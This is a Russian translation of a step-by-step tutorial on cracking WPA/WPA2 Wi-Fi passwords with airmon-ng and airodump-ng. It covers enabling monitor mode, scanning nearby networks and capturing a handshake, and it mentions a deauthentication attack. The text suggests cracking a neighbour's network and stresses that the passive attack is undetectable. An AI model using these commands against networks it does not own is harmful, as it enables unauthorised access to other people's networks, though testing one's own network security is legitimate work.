
Взлом маршрутизаторов Wi-Fi WPA/WPA2 с помощью Airodump-ng и Aircrack-ng/Hashcat
Взлом WPA/WPA2 Wi-Fi роутеров с помощью Airodump-ng и Aircrack-ng/Hashcat.
Это краткое пошаговое руководство, иллюстрирующее, как взломать сети Wi-Fi, защищённые с помощью слабых паролей. Оно не является исчерпывающим, но должно предоставить достаточно информации, чтобы проверить безопасность вашей собственной сети или взломать соседнюю. Описанная ниже атака полностью пассивна (только прослушивание, ничего не передаётся с вашего компьютера), и её невозможно обнаружить, если вы не используете взломанный пароль. Опциональная активная атака деаутентификации может быть использована для ускорения процесса разведки и описана в конце этого документа.
Если вы знакомы с этим процессом, можете пропустить описания и перейти к списку команд в нижней части. Различные предложения и альтернативные методы можно найти в приложении. neal1991 и tiiime также любезно предоставили переводы этого документа и приложения на китайский язык, если вы предпочитаете эти версии.
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Это программное обеспечение/руководство предназначено только для образовательных целей. Его не следует использовать для незаконной деятельности. Автор не несёт ответственности за его использование. Не будьте мудаком.
Это руководство предполагает, что вы:
sudo apt-get install aircrack-ngНачните с вывода списка беспроводных интерфейсов, поддерживающих режим монитора, с помощью:
airmon-ng
Если вы не видите интерфейс в списке, значит ваша беспроводная карта не поддерживает режим монитора 😞
Будем считать, что имя вашего беспроводного интерфейса — wlan0, но обязательно используйте правильное имя, если оно отличается. Далее переведём интерфейс в режим монитора:
airmon-ng start wlan0
Выполните iwconfig. Теперь вы должны увидеть новый интерфейс режима монитора (скорее всего, mon0 или wlan0mon).
Начните прослушивание 802.11 Beacon кадров, передаваемых близлежащими беспроводными роутерами, используя ваш монитор-интерфейс:
airodump-ng mon0
Вы должны увидеть вывод, похожий на приведённый ниже.
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
Для целей этой демонстрации мы выберем взлом пароля моей сети "hackme". Запомните BSSID MAC-адрес и номер канала (CH), отображаемые airodump-ng, так как они понадобятся на следующем шаге.
WPA/WPA2 использует 4-стороннее рукопожатие для аутентификации устройств в сети. Вам не обязательно знать, что это значит, но вам нужно захватить одно из таких рукопожатий, чтобы взломать пароль сети. Эти рукопожатия происходят всякий раз, когда устройство подключается к сети, например, когда ваш сосед возвращается с работы. Мы захватываем это рукопожатие, направляя airmon-ng на мониторинг трафика целевой сети, используя канал и bssid, полученные из предыдущей команды.
# замените значения -c и --bssid на значения вашей целевой сети
# -w указывает директорию, куда мы сохраним захват пакетов
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
Теперь ждём... Как только вы захватите рукопожатие, в верхнем правом углу экрана, справа от текущего времени, должно появиться что-то вроде [ WPA handshake: bc:d3:c9:ef:d2:67.
Если вам не терпится, и вы готовы использовать активную атаку, вы можете заставить устройства, подключённые к целевой сети, переподключиться, отправив им вредоносные пакеты деаутентификации. Это часто приводит к захвату 4-стороннего рукопожатия. См. раздел об атаке деаутентификации ниже.
Как только вы захватили рукопожатие, нажмите ctrl-c, чтобы выйти из airodump-ng. Вы должны увидеть файл .cap там, куда вы указали airodump-ng сохранить захват (скорее всего, он называется -01.cap). Мы будем использовать этот файл захвата для взлома пароля сети. Я предпочитаю переименовывать этот файл, чтобы он отражал имя сети, которую мы пытаемся взломать:
mv ./-01.cap hackme.cap